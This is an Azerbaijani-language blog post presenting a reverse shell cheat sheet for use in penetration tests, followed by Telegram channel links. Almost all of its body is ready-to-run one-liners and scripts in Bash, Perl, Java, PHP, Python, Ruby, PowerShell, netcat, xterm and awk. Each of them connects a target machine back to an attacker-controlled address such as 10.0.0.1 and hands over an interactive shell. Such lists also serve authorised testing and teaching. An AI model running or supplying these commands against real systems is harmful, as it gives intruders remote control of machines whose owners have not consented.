Salam hər vaxtınız xeyir dəyərli oxucular, bu gün Exploit edilməsi başlığı altında bizə lazım olacaq Reverse shell əldə etmək üçün istifadə olunan kommandaları öyrənəcəyik.Buna bir növ Reverse shell cheatsheet deyə bilərik.
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
Reverse shell əldə etmək üsulları
Reverse shell əldə etmək bizim bir çox testlərimizdə vacib bir mövqe tutur.Məhz buna görə paylaşımda bir neçə proqramlaşdırma dilində reverse shell əldə etmək üçün kommandaları paylaşacam.Bizim testlərimizdə müxtəlif situasiyalarda bəzi kommandaların icra edilə bilməməsi zamanı digər kommandalardan istifadə etmək bizə yardımı olacaqdır.
Bash
Bash alətinin bəzi versiyaları bizə reverse shell verə bilər.(Ubuntu 10.10 test edilmişdir.)
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Python
Bu kommanda Linux\ Python 2.7 test edilmişdir.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
PowerShell
1-ci üsul:
$client = New-Object System.Net.Sockets.TCPClient("YOUR_IP",YOUR_PORT);
$stream = $client.GetStream();
$writer = New-Object System.IO.StreamWriter($stream);
$buffer = New-Object System.Byte[] 1024;
$writer.Write([System.Text.Encoding]::ASCII.GetBytes("Connected`n"));
$writer.Flush();
while(($i = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {
$data = [System.Text.Encoding]::ASCII.GetString($buffer, 0, $i);
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String );
$writer.Write([System.Text.Encoding]::ASCII.GetBytes($sendback));
$writer.Flush();
}
$client.Close();
2-ci üsul:
$sm=(New-Object Net.Sockets.TCPClient("10.10.17.1",1337)).GetStream();
[byte[]]$bt=0..255|%{0};
while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));
$sm.Write($st,0,$st.Length)}
Netcat
Netcat aləti nadir hallarda var olur. Bəzi Netcat versiyaları -e parametrini dəstəkləməyə bilər.
nc -e /bin/sh 10.0.0.1 1234
Əgər sizə -e parametrini dəstəkləməyən sistem ilə qarşılaşmısınızsa onda aşağıdakı kommanda ilə reverse shell əldə edə bilərsiniz.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Netcat BusyBox versiyaları üçün:
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
xterm
xterm istifadə edərək reverse shell almağın ən sadə üsullarından biri xterm sessiyası açmaqdır.
Hədəf sistem aşağıdakı əmri icra etməlidir. Bu, sənin (10.0.0.1) sisteminə TCP 6001 portu üzərindən bağlanmağa cəhd edəcək:
xterm -display 10.0.0.1:1
X-Server (:1 – TCP port 6001 üzərində dinləyir) başlatmaq lazımdır. Bunu etmək üçün Xnest istifadə edə bilərsən (bu əmri öz sistemində icra et):
Xnest :1
Hədəfə sənin sisteminə qoşulmağa icazə vermək
Bunun üçün hədəf IP-ni icazəli hostlar siyahısına əlavə etmək lazımdır:
xhost +targetip
🛑 Qeyd: Bu üsul qrafik interfeys (GUI) olan mühitlərdə işləyir. Hədəfdə xterm quraşdırılmış və DISPLAY dəyişəni aktiv olmalıdır.
Awk
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat